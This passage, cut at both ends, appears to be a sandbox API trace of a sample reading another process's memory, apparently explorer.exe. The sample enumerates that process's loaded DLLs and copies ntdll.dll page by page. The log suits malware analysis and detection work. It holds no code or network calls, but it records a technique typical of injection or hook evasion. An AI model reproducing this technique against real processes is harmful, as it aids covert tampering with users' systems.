returned="\\RPCRT4.dll" [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cdd90, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c33f8, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\SspiCli.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SspiCli.dll" [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce660, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce610, Buffer=0x986faf0, NumberOfBytesToRead=0x42, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x42) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\CRYPTBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CRYPTBASE.dll" [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce728, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce6e0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\GDI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\GDI32.dll" [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7f0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7a8, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\USER32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USER32.dll" [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce8b0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce870, Buffer=0x986faf0, NumberOfBytesToRead=0x36, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x36) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\LPK.dll", lpEnd=0x0, wMatch=0x5c) returned="\\LPK.dll" [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce978, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.496] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce930, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.496] StrRChrA (lpStart="C:\\Windows\\syswow64\\USP10.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USP10.dll" [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cea40, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce9f8, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.497] StrRChrA (lpStart="C:\\Windows\\syswow64\\SHLWAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHLWAPI.dll" [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef08, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ceec0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.497] StrRChrA (lpStart="C:\\Windows\\syswow64\\SHELL32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHELL32.dll" [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cefd0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef88, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.497] StrRChrA (lpStart="C:\\Windows\\syswow64\\ole32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ole32.dll" [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf0b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf050, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.497] StrRChrA (lpStart="C:\\Windows\\syswow64\\OLEAUT32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\OLEAUT32.dll" [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf138, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1350, Buffer=0x986faf0, NumberOfBytesToRead=0x4a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x4a) returned 0x0 [0044.497] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\EXPLORERFRAME.dll", lpEnd=0x0, wMatch=0x5c) returned="\\EXPLORERFRAME.dll" [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf1b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.497] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d13a8, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\DUser.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUser.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf238, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d17f0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\DUI70.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUI70.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf2b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1910, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\syswow64\\IMM32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\IMM32.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf338, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1d78, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\syswow64\\MSCTF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\MSCTF.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf3b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1dc0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\UxTheme.dll", lpEnd=0x0, wMatch=0x5c) returned="\\UxTheme.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf438, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d2f88, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\POWRPROF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\POWRPROF.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf4b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1958, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.498] StrRChrA (lpStart="C:\\Windows\\syswow64\\SETUPAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SETUPAPI.dll" [0044.498] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf538, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d19a8, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.499] StrRChrA (lpStart="C:\\Windows\\syswow64\\CFGMGR32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CFGMGR32.dll" [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf5b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e08, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.499] StrRChrA (lpStart="C:\\Windows\\syswow64\\DEVOBJ.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DEVOBJ.dll" [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf638, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e50, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.499] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\dwmapi.dll", lpEnd=0x0, wMatch=0x5c) returned="\\dwmapi.dll" [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf6b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d2dd0, Buffer=0x986faf0, NumberOfBytesToRead=0x36, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x36) returned 0x0 [0044.499] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\slc.dll", lpEnd=0x0, wMatch=0x5c) returned="\\slc.dll" [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf738, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d3600, Buffer=0x986faf0, NumberOfBytesToRead=0xe2, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0xe2) returned 0x0 [0044.499] StrRChrA (lpStart="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll", lpEnd=0x0, wMatch=0x5c) returned="\\gdiplus.dll" [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf7b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e98, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.499] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\Secur32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\Secur32.dll" [0044.499] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf838, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.500] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1ee0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.500] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\PROPSYS.dll", lpEnd=0x0, wMatch=0x5c) returned="\\PROPSYS.dll" [0044.500] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.500] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fd00 | out: hHeap=0x9770000) returned 1 [0044.500] lstrcmpiA (lpString1="explorer.exe", lpString2="NTDLL.DLL") returned -1 [0044.500] StrChrA (lpStart="explorer.exe", wMatch=0x2e) returned=".exe" [0044.500] lstrcmpiA (lpString1="explorer", lpString2="NTDLL.DLL") returned -1 [0044.500] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0044.500] VirtualFree (lpAddress=0x4070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0044.500] VirtualAlloc (lpAddress=0x0, dwSize=0x180000, flAllocationType=0x3000, flProtect=0x4) returned 0x9ca0000 [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77340000, Buffer=0x9ca0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77341000, Buffer=0x9ca1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca1000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77342000, Buffer=0x9ca2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca2000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77343000, Buffer=0x9ca3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca3000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77344000, Buffer=0x9ca4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca4000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77345000, Buffer=0x9ca5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca5000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77346000, Buffer=0x9ca6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca6000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.501] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77347000, Buffer=0x9ca7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca7000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77348000, Buffer=0x9ca8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca8000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77349000, Buffer=0x9ca9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca9000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734a000, Buffer=0x9caa000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9caa000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734b000, Buffer=0x9cab000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cab000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734c000, Buffer=0x9cac000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cac000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734d000, Buffer=0x9cad000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cad000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734e000, Buffer=0x9cae000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cae000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734f000, Buffer=0x9caf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9caf000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77350000, Buffer=0x9cb0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.502] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77351000, Buffer=0x9cb1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77352000, Buffer=0x9cb2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77353000, Buffer=0x9cb3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77354000, Buffer=0x9cb4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77355000, Buffer=0x9cb5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77356000, Buffer=0x9cb6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77357000, Buffer=0x9cb7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.503] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77358000, Buffer=0x9cb8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77359000, Buffer=0x9cb9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735a000, Buffer=0x9cba000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cba000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735b000, Buffer=0x9cbb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735c000, Buffer=0x9cbc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735d000, Buffer=0x9cbd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735e000, Buffer=0x9cbe000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbe000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.504] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735f000, Buffer=0x9cbf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77360000, Buffer=0x9cc0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77361000, Buffer=0x9cc1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77362000, Buffer=0x9cc2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77363000, Buffer=0x9cc3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77364000, Buffer=0x9cc4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77365000, Buffer=0x9cc5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.505] NtReadVirtualMemory (in: 